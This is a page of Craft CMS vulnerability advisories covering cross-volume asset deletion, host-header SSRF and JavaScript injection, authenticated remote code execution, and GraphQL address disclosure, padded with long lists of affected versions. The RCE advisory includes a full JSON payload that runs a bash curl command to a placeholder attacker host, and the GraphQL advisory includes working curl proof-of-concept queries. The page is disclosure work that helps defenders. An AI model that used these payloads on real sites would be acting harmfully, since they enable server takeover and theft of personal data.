$assets->replaceAssetFile($assetToReplace, $tempPath, $assetToReplace->getFilename(), $sourceAsset->getMimeType());
Craft::$app->getElements()->deleteElement($sourceAsset);

src/controllers/AssetsController.php:L462-L463

Impact

An authenticated user who can replace files in one volume can delete assets in another volume where they do not have delete permission, as long as they can obtain a sourceAssetId. This can lead to unauthorized asset deletion, broken content references, and data loss.

Affected versions


          5.0.0


          5.0.0-RC1


          5.0.1


          5.0.2


          5.0.3


          5.0.4


          5.0.5


          5.0.6


          5.1.0


          5.1.1


          5.1.10


          5.1.2

+ 402 more


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9


            4.0.0


            4.0.0-RC1


            4.0.0-RC2


            4.0.0-RC3


            4.0.0.1


            4.0.1


            4.0.2


            4.0.3


            4.0.4


            4.0.5


            4.0.5.1


            4.0.5.2


            4.0.6


            4.1.0


            4.1.0.1


            4.1.0.2


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.4.1


            4.10.0


            4.10.0-beta.1


            4.10.0-beta.2


            4.10.1


            4.10.2


            4.10.3


            4.10.4


            4.10.5


            4.10.6


            4.10.7


            4.10.8


            4.11.0


            4.11.0.1


            4.11.0.2


            4.11.1


            4.11.2


            4.11.3


            4.11.4


            4.11.5


            4.12.0


            4.12.1


            4.12.2


            4.12.3


            4.12.4


            4.12.4.1


            4.12.5


            4.12.6


            4.12.6.1


            4.12.7


            4.12.8


            4.12.9


            4.13.0


            4.13.1


            4.13.1.1


            4.13.10


            4.13.2


            4.13.3


            4.13.4


            4.13.5


            4.13.6


            4.13.7


            4.13.8


            4.13.9


            4.14.0


            4.14.0.1


            4.14.0.2


            4.14.1


            4.14.10


            4.14.11


            4.14.11.1


            4.14.12


            4.14.13


            4.14.14


            4.14.15


            4.14.2


            4.14.3


            4.14.4


            4.14.5


            4.14.6


            4.14.7


            4.14.8


            4.14.8.1


            4.14.9


            4.15.0


            4.15.0-beta.1


            4.15.0-beta.2


            4.15.0.1


            4.15.0.2


            4.15.1


            4.15.2


            4.15.3


            4.15.4


            4.15.5


            4.15.6


            4.15.6.1


            4.15.6.2


            4.15.7


            4.16.0


            4.16.1


            4.16.10


            4.16.11


            4.16.12


            4.16.13


            4.16.14


            4.16.15


            4.16.16


            4.16.17


            4.16.18


            4.16.19


            4.16.2


            4.16.3


            4.16.4


            4.16.5


            4.16.6


            4.16.6.1


            4.16.7


            4.16.8


            4.16.9


            4.16.9.1


            4.17.0


            4.17.0-beta.1


            4.17.0-beta.2


            4.17.1


            4.17.10


            4.17.11


            4.17.12


            4.17.13


            4.17.13.1


            4.17.2


            4.17.3


            4.17.4


            4.17.5


            4.17.6


            4.17.7


            4.17.8


            4.17.9


            4.2.0


            4.2.0.1


            4.2.0.2


            4.2.1


            4.2.1.1


            4.2.2


            4.2.3


            4.2.4


            4.2.5


            4.2.5.1


            4.2.5.2


            4.2.6


            4.2.7


            4.2.8


            4.3.0


            4.3.1


            4.3.10


            4.3.11


            4.3.2


            4.3.2.1


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.6.1


            4.3.7


            4.3.7.1


            4.3.8


            4.3.8.1


            4.3.8.2


            4.3.9


            4.4.0


            4.4.0-beta.1


            4.4.0-beta.2


            4.4.0-beta.3


            4.4.0-beta.4


            4.4.0-beta.5


            4.4.0-beta.6


            4.4.0-beta.7


            4.4.1


            4.4.10


            4.4.10.1


            4.4.11


            4.4.12


            4.4.13


            4.4.14


            4.4.15


            4.4.16


            4.4.16.1


            4.4.17


            4.4.2


            4.4.3


            4.4.4


            4.4.5


            4.4.6


            4.4.6.1


            4.4.7


            4.4.7.1


            4.4.8


            4.4.9


            4.5.0


            4.5.0-beta.1


            4.5.0-beta.2


            4.5.1


            4.5.10


            4.5.11


            4.5.11.1


            4.5.12


            4.5.13


            4.5.14


            4.5.15


            4.5.2


            4.5.3


            4.5.4


            4.5.5


            4.5.6


            4.5.6.1


            4.5.7


            4.5.8


            4.5.9


            4.6.0


            4.6.0-RC1


            4.6.1


            4.7.0


            4.7.1


            4.7.2


            4.7.2.1


            4.7.3


            4.7.4


            4.8.0


            4.8.1


            4.8.10


            4.8.11


            4.8.2


            4.8.3


            4.8.4


            4.8.5


            4.8.6


            4.8.7


            4.8.8


            4.8.9


            4.9.0


            4.9.1


            4.9.2


            4.9.3


            4.9.4


            4.9.5


            4.9.6


            4.9.7

Fixed in


          4.17.14


          5.9.21

References

Updated Jul 02, 2026 · Source: OSV.dev

CVE-2026-55791 GHSA-c55v-343g-5xff Jun 19, 2026

Craft CMS: Blind SSRF and Arbitrary JavaScript Injection via Host Header Poisoning in actionResourceJs

Critical

Network Low None None

1. Overview

Craft CMS is vulnerable to Server-Side Request Forgery (SSRF) and Arbitrary JavaScript Injection through the /actions/app/resource-js endpoint. By exploiting the default permissive trustedHosts configuration, an attacker can poison the Host or X-Forwarded-Host header to manipulate the application’s $baseUrl. This bypasses the endpoint’s internal URL validation, forcing the backend Guzzle client to fetch a malicious payload from an attacker-controlled server and reflect it to the client with a Content-Type: application/javascript header.

2. Vulnerability Mechanism (Root Cause) The vulnerability manifests when assetManager.cacheSourcePaths is set to false. The attack chain relies on three structural flaws and insecure defaults:

A. Default Proxy Trust (trustedHosts): Craft’s default GeneralConfig::$trustedHosts is set to ['any']. This allows an attacker to bypass front-end web server (Nginx/Apache) strict Host header validations by simply injecting an X-Forwarded-Host header. Yii2 will parse this and globally set $baseUrl to the attacker's domain.
B. Insecure HTTP Client (actionResourceJs): In AppController::actionResourceJs(), the str_starts_with($url, $baseUrl) validation is bypassed because $baseUrl is already poisoned by the attacker. The core then uses Craft::createGuzzleClient()->get($url). Unlike the GraphQL Asset fetcher, this Guzzle instance defaults to ALLOW_REDIRECTS => true.
C. Forced JS Content-Type: The response fetched from the attacker's server is blindly returned to the user via $this->asRaw() with the header Content-Type: application/javascript.

3. Attack Scenario & Impact (Proof of Exploitability) This endpoint acts as a proxy, taking remote, unverified content and serving it as valid JavaScript. While the direct SSRF allows for internal network probing, the most devastating impact occurs when caching layers are involved.

If the Craft CMS instance is behind a caching layer, this vulnerability leads directly to Web Cache Poisoning:

An unauthenticated attacker sends the poisoned request.
The caching layer caches the malicious JavaScript response for the legitimate /actions/app/resource-js URI.
When an authenticated Administrator logs into the Control Panel, their browser loads the poisoned cached JavaScript (Stored XSS).
The malicious script extracts window.Craft.csrfTokenValue and silently sends a POST request to /admin/actions/plugins/install-plugin, achieving 1-Click Remote Code Execution (RCE) via Session Riding.

Affected versions


          5.0.0


          5.0.0-RC1


          5.0.1


          5.0.2


          5.0.3


          5.0.4


          5.0.5


          5.0.6


          5.1.0


          5.1.1


          5.1.10


          5.1.2

+ 408 more


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.21


            5.9.22


            5.9.23


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9


            4.0.0


            4.0.0-RC1


            4.0.0-RC2


            4.0.0-RC3


            4.0.0.1


            4.0.1


            4.0.2


            4.0.3


            4.0.4


            4.0.5


            4.0.5.1


            4.0.5.2


            4.0.6


            4.1.0


            4.1.0.1


            4.1.0.2


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.4.1


            4.10.0


            4.10.0-beta.1


            4.10.0-beta.2


            4.10.1


            4.10.2


            4.10.3


            4.10.4


            4.10.5


            4.10.6


            4.10.7


            4.10.8


            4.11.0


            4.11.0.1


            4.11.0.2


            4.11.1


            4.11.2


            4.11.3


            4.11.4


            4.11.5


            4.12.0


            4.12.1


            4.12.2


            4.12.3


            4.12.4


            4.12.4.1


            4.12.5


            4.12.6


            4.12.6.1


            4.12.7


            4.12.8


            4.12.9


            4.13.0


            4.13.1


            4.13.1.1


            4.13.10


            4.13.2


            4.13.3


            4.13.4


            4.13.5


            4.13.6


            4.13.7


            4.13.8


            4.13.9


            4.14.0


            4.14.0.1


            4.14.0.2


            4.14.1


            4.14.10


            4.14.11


            4.14.11.1


            4.14.12


            4.14.13


            4.14.14


            4.14.15


            4.14.2


            4.14.3


            4.14.4


            4.14.5


            4.14.6


            4.14.7


            4.14.8


            4.14.8.1


            4.14.9


            4.15.0


            4.15.0-beta.1


            4.15.0-beta.2


            4.15.0.1


            4.15.0.2


            4.15.1


            4.15.2


            4.15.3


            4.15.4


            4.15.5


            4.15.6


            4.15.6.1


            4.15.6.2


            4.15.7


            4.16.0


            4.16.1


            4.16.10


            4.16.11


            4.16.12


            4.16.13


            4.16.14


            4.16.15


            4.16.16


            4.16.17


            4.16.18


            4.16.19


            4.16.2


            4.16.3


            4.16.4


            4.16.5


            4.16.6


            4.16.6.1


            4.16.7


            4.16.8


            4.16.9


            4.16.9.1


            4.17.0


            4.17.0-beta.1


            4.17.0-beta.2


            4.17.1


            4.17.10


            4.17.11


            4.17.12


            4.17.13


            4.17.13.1


            4.17.14


            4.17.15


            4.17.16


            4.17.2


            4.17.3


            4.17.4


            4.17.5


            4.17.6


            4.17.7


            4.17.8


            4.17.9


            4.2.0


            4.2.0.1


            4.2.0.2


            4.2.1


            4.2.1.1


            4.2.2


            4.2.3


            4.2.4


            4.2.5


            4.2.5.1


            4.2.5.2


            4.2.6


            4.2.7


            4.2.8


            4.3.0


            4.3.1


            4.3.10


            4.3.11


            4.3.2


            4.3.2.1


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.6.1


            4.3.7


            4.3.7.1


            4.3.8


            4.3.8.1


            4.3.8.2


            4.3.9


            4.4.0


            4.4.0-beta.1


            4.4.0-beta.2


            4.4.0-beta.3


            4.4.0-beta.4


            4.4.0-beta.5


            4.4.0-beta.6


            4.4.0-beta.7


            4.4.1


            4.4.10


            4.4.10.1


            4.4.11


            4.4.12


            4.4.13


            4.4.14


            4.4.15


            4.4.16


            4.4.16.1


            4.4.17


            4.4.2


            4.4.3


            4.4.4


            4.4.5


            4.4.6


            4.4.6.1


            4.4.7


            4.4.7.1


            4.4.8


            4.4.9


            4.5.0


            4.5.0-beta.1


            4.5.0-beta.2


            4.5.1


            4.5.10


            4.5.11


            4.5.11.1


            4.5.12


            4.5.13


            4.5.14


            4.5.15


            4.5.2


            4.5.3


            4.5.4


            4.5.5


            4.5.6


            4.5.6.1


            4.5.7


            4.5.8


            4.5.9


            4.6.0


            4.6.0-RC1


            4.6.1


            4.7.0


            4.7.1


            4.7.2


            4.7.2.1


            4.7.3


            4.7.4


            4.8.0


            4.8.1


            4.8.10


            4.8.11


            4.8.2


            4.8.3


            4.8.4


            4.8.5


            4.8.6


            4.8.7


            4.8.8


            4.8.9


            4.9.0


            4.9.1


            4.9.2


            4.9.3


            4.9.4


            4.9.5


            4.9.6


            4.9.7

Fixed in


          4.18


          5.10

References

Updated Jun 19, 2026 · Source: OSV.dev

CVE-2026-44011 GHSA-qrgm-p9w5-rrfw May 06, 2026

Craft CMS has Potential Authenticated Remote Code Execution via Malicious Attached Behavior

High

Network Low High None

We identified a vulnerability in the latest version of Craft CMS which contains an input-handling flaw in a Yii object creation path that let any authenticated user inject malicious configuration and execute arbitrary commands on the server. Yii’s dynamic object configuration, as implemented in Craft CMS, is a feature that lets the application build parts of itself from a settings list.

This is largely a continuation of https://github.com/craftcms/cms/security/advisories/GHSA-255j-qw47-wjh5, but through a different path that was not mitigated in the original.

The request-controlled condition field layouts data is converted into a live FieldLayout object without a Component::cleanseConfig() boundary. Because Craft configures models before parent::__construct(), attacker-controlled special config keys can take effect during object creation, and FieldLayout initialization then triggers a same-request event.

This appears to be another variant of the recent object-config / behavior-injection bug family, but via the condition / field layout hydration path.

We were able to reproduce the attack by issuing a POST request to /admin/actions/element-search/search with the following JSON from any connected user. Other routes can be exploited in the same way, including the rest of the element-indexes actions that pass through that same beforeAction() path. This results in a curl request to the chosen server with the result of the command “id” for the web user being appended to the path:

POST /admin/actions/element-search/search HTTP/2
Host: hostnamehere
Cookie: CraftSessionId=...; 1234123412341234_identity=...; CRAFT_CSRF_TOKEN=...;
Content-Length: …
User-Agent: Mozilla/5.0
X-Csrf-Token: ...
Accept: application/json
Content-Type: application/json

{

 "elementType": "craft\\elements\\Category",
 "siteId": 1,
 "search": "",
 "condition": {
   "class": "craft\\elements\\conditions\\ElementCondition",
   "elementType": "craft\\elements\\Category",
   "fieldLayouts": [
     {
       "as rce": {
         "__class": "yii\\behaviors\\AttributeTypecastBehavior",
         "__construct()": [
           {
             "attributeTypes": {
               "typecastBeforeSave": [
                 "Psy\\Readline\\Hoa\\ConsoleProcessus",
                 "execute"
               ]
             },
             "typecastBeforeSave": "/bin/bash -c \"curl [https://yourcollaboratorservergoeshere/`id`\](https://yourcollaboratorservergoeshere/%60id%60/)""
           }
         ]
       },
       "on *": "self::beforeSave"
     }
   ]
 }
}

Resources

https://github.com/craftcms/cms/commit/ab85ca7f5f926994f723f60584054a1f4c4c5de3

Affected versions


          4.0.0


          4.0.0.1


          4.0.1


          4.0.2


          4.0.3


          4.0.4


          4.0.5


          4.0.5.1


          4.0.5.2


          4.0.6


          4.1.0


          4.1.0.1

+ 392 more


            4.1.0.2


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.4.1


            4.10.0


            4.10.0-beta.1


            4.10.0-beta.2


            4.10.1


            4.10.2


            4.10.3


            4.10.4


            4.10.5


            4.10.6


            4.10.7


            4.10.8


            4.11.0


            4.11.0.1


            4.11.0.2


            4.11.1


            4.11.2


            4.11.3


            4.11.4


            4.11.5


            4.12.0


            4.12.1


            4.12.2


            4.12.3


            4.12.4


            4.12.4.1


            4.12.5


            4.12.6


            4.12.6.1


            4.12.7


            4.12.8


            4.12.9


            4.13.0


            4.13.1


            4.13.1.1


            4.13.10


            4.13.2


            4.13.3


            4.13.4


            4.13.5


            4.13.6


            4.13.7


            4.13.8


            4.13.9


            4.14.0


            4.14.0.1


            4.14.0.2


            4.14.1


            4.14.10


            4.14.11


            4.14.11.1


            4.14.12


            4.14.13


            4.14.14


            4.14.15


            4.14.2


            4.14.3


            4.14.4


            4.14.5


            4.14.6


            4.14.7


            4.14.8


            4.14.8.1


            4.14.9


            4.15.0


            4.15.0-beta.1


            4.15.0-beta.2


            4.15.0.1


            4.15.0.2


            4.15.1


            4.15.2


            4.15.3


            4.15.4


            4.15.5


            4.15.6


            4.15.6.1


            4.15.6.2


            4.15.7


            4.16.0


            4.16.1


            4.16.10


            4.16.11


            4.16.12


            4.16.13


            4.16.14


            4.16.15


            4.16.16


            4.16.17


            4.16.18


            4.16.19


            4.16.2


            4.16.3


            4.16.4


            4.16.5


            4.16.6


            4.16.6.1


            4.16.7


            4.16.8


            4.16.9


            4.16.9.1


            4.17.0


            4.17.0-beta.1


            4.17.0-beta.2


            4.17.1


            4.17.10


            4.17.11


            4.17.2


            4.17.3


            4.17.4


            4.17.5


            4.17.6


            4.17.7


            4.17.8


            4.17.9


            4.2.0


            4.2.0.1


            4.2.0.2


            4.2.1


            4.2.1.1


            4.2.2


            4.2.3


            4.2.4


            4.2.5


            4.2.5.1


            4.2.5.2


            4.2.6


            4.2.7


            4.2.8


            4.3.0


            4.3.1


            4.3.10


            4.3.11


            4.3.2


            4.3.2.1


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.6.1


            4.3.7


            4.3.7.1


            4.3.8


            4.3.8.1


            4.3.8.2


            4.3.9


            4.4.0


            4.4.0-beta.1


            4.4.0-beta.2


            4.4.0-beta.3


            4.4.0-beta.4


            4.4.0-beta.5


            4.4.0-beta.6


            4.4.0-beta.7


            4.4.1


            4.4.10


            4.4.10.1


            4.4.11


            4.4.12


            4.4.13


            4.4.14


            4.4.15


            4.4.16


            4.4.16.1


            4.4.17


            4.4.2


            4.4.3


            4.4.4


            4.4.5


            4.4.6


            4.4.6.1


            4.4.7


            4.4.7.1


            4.4.8


            4.4.9


            4.5.0


            4.5.0-beta.1


            4.5.0-beta.2


            4.5.1


            4.5.10


            4.5.11


            4.5.11.1


            4.5.12


            4.5.13


            4.5.14


            4.5.15


            4.5.2


            4.5.3


            4.5.4


            4.5.5


            4.5.6


            4.5.6.1


            4.5.7


            4.5.8


            4.5.9


            4.6.0


            4.6.0-RC1


            4.6.1


            4.7.0


            4.7.1


            4.7.2


            4.7.2.1


            4.7.3


            4.7.4


            4.8.0


            4.8.1


            4.8.10


            4.8.11


            4.8.2


            4.8.3


            4.8.4


            4.8.5


            4.8.6


            4.8.7


            4.8.8


            4.8.9


            4.9.0


            4.9.1


            4.9.2


            4.9.3


            4.9.4


            4.9.5


            4.9.6


            4.9.7


            5.0.0


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.0.6


            5.1.0


            5.1.1


            5.1.10


            5.1.2


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.2


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9

Fixed in


          4.17.12


          5.9.18

References

Updated May 13, 2026 · Source: OSV.dev

CVE-2026-44010 GHSA-gj2p-p9m4-c8gw May 06, 2026

Craft CMS's Missing Authorization in GraphQL Address Resolver Allows Cross-Scope PII Disclosure

High

Network Low Low None

Summary

The GraphQL Address element resolver (src/gql/resolvers/elements/Address.php) performs no schema scope filtering on top-level queries. A GraphQL API token scoped to a single low-privilege user group can read every address in the system, including addresses belonging to users in groups the token has no authorization to access. This exposes PII, including full names, addresses, organizations, tax IDs, etc.

Details

Every GraphQL element resolver in Craft CMS applies schema scope filtering via GqlHelper::extractAllowedEntitiesFromSchema() when handling top-level queries, except the Address resolver.

The only gate check for addresses is canQueryUsers() (src/gql/queries/Address.php, line 30), which is a binary check. It returns true if the token has access to any user group. Once past this gate, no further filtering is applied.

PoC

Tested on: CraftCMS 5.9.17 (fresh Docker install, PHP 8.3) Prerequisites: A GraphQL API token with read access to any single user group

Environment

Two user groups: publicUsers (in token scope) and internalTeam (NOT in scope)
5 internal executives with corporate addresses (internalTeam)
3 public customers with personal addresses (publicUsers)
GQL token scoped to publicUsers:read only

Step 1: Introspect the schema to discover the addresses query is available to this token. Issue the below curl command

curl -s -H "Authorization: Bearer wbzwuzvlfohtahryztgaawyjpctqdvcm" -H "Content-Type: application/json" -d '{"query": "{ __type(name: \"Query\") { fields { name description } } }"}' http://localhost:8080/actions/graphql/api | jq

The token can see addresses, entries, users as top-level queries.

Step 2: Enumerate Address fields to identify PII exposure surface.

curl -s -H "Authorization: Bearer wbzwuzvlfohtahryztgaawyjpctqdvcm" -H "Content-Type: application/json" -d '{"query": "{ __type(name: \"AddressInterface\") { fields { name
type { name } } } }"}' http://localhost:8080/actions/graphql/api | jq

Exposed fields include: fullName, firstName, lastName, addressLine1/2/3, locality, postalCode, countryCode, organization, organizationTaxId, latitude, longitude.

Step 3: Establish baseline - confirm the token’s user scope is limited. This proves our token only has access to the publicUsers group.

curl -s -H "Authorization: Bearer wbzwuzvlfohtahryztgaawyjpctqdvcm" -H "Content-Type: application/json" -d '{"query": "{ addresses { id fullName firstName lastName addressLine1 addressLine2 locality postalCode countryCode organization
organizationTaxId } }"}' http://localhost:8080/actions/graphql/api | jq

Only 5 public users returned. Scope enforcement works correctly for the User resolver — internal executives are NOT visible.

Step 4: Query all addresses - the token returns data for ALL user groups, including those outside its authorized scope.

curl -s -H "Authorization: Bearer wbzwuzvlfohtahryztgaawyjpctqdvcm" -H "Content-Type: application/json" -d '{"query": "{ addresses { id fullName firstName lastName addressLine1 addressLine2 locality postalCode countryCode organization
  organizationTaxId } }"}' http://localhost:8080/actions/graphql/api | jq

▎ "This token can only see 5 users, but it returns 10 addresses" as shown in the above 2 screenshot outputs

All 10 addresses returned. The same token that only sees 5 public users now returns addresses for internal executives including corporate tax IDs:

Sarah Chen, 4200 Executive Plaza Dr, SF — Horizon Dynamics Inc. (TaxID: 82-4917263)

James Whitfield, 89 Kensington High St, London — Whitfield Capital Partners LLP (TaxID: GB927461038)

Maria Rossi, 15 Via della Conciliazione, Roma — Rossi & Bianchi Avvocati (TaxID: IT04829173651)

David Nakamura, 2-11-3 Meguro, Tokyo — Nakamura Medical Technologies KK (TaxID: JP8230-4719-2835)

Elena Voronova, 27 Universitätsstrasse, Zurich — Voronova Biotech AG (TaxID: CHE-384.291.057)

Step 5: Targeted IDOR - extract a specific internal user’s address by owner ID.

curl -s -H "Authorization: Bearer wbzwuzvlfohtahryztgaawyjpctqdvcm" -H "Content-Type: application/json" -d '{"query": "{ addresses(ownerId: [3]) { fullName addressLine1 addressLine2 locality postalCode countryCode organization
  organizationTaxId } }"}' http://localhost:8080/actions/graphql/api | jq

Directly extracts a specific internal team member’s address: “Secret Admin”, 1 Secret Government Facility, Suite 007, Langley 22101 — SecretCorp LLC (TaxID: 98-7654321). The token has zero authorization to access this user’s data.

Impact

Who is Impacted

Any Craft CMS Pro site (v4.0.0+) that uses GraphQL API tokens with user group scoping and stores user addresses. This is the standard deployment pattern for headless CMS sites using frameworks such as Next.js, Nuxt.js, or Gatsby. An attacker with any valid GraphQL token that has access to at least one user group can extract all addresses in the system, regardless of scope restrictions.

Risk

Direct threat to installation data: Any GraphQL API token with access to any single user group can extract all address systems-wide, including names, home addresses, organizations, and tax IDs belonging to users in restricted groups.
Targeted extraction via IDOR: The ownerId argument allows an attacker to extract specific users’ addresses by ID, enabling targeted reconnaissance against administrators or high-value users without any brute-force or elevated access.
Scope boundary failure: Craft CMS’s GraphQL schema scoping system is the primary security mechanism for controlling API access. Every other element resolver (Entry, User, Asset, Category, Tag) enforces this boundary. The Address resolver does not, making this a foundational gap in Craft’s native authorization model and not a site-specific configuration issue.
Affects all installations using GraphQL with user groups: Any Craft CMS Pro site that exposes a scoped GraphQL token and stores addresses is affected. This is the standard headless CMS deployment pattern, not an edge case.

AI Disclosure

This vulnerability was identified through manual source code review with AI-assisted analysis (Claude). The initial pattern deviation (Address resolver missing scope filtering while all other resolvers have it) was identified through manual comparison of resolver implementations. AI was used to assist with code navigation, PoC scripting, and report drafting.

All findings were verified against a local Docker instance of Craft CMS 5.9.17.

Resources

https://github.com/craftcms/cms/commit/834b2cf61ad0dcee9b03add44ed402ebf18db128

Affected versions


          5.0.0


          5.0.1


          5.0.2


          5.0.3


          5.0.4


          5.0.5


          5.0.6


          5.1.0


          5.1.1


          5.1.10


          5.1.2


          5.1.3

+ 392 more


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


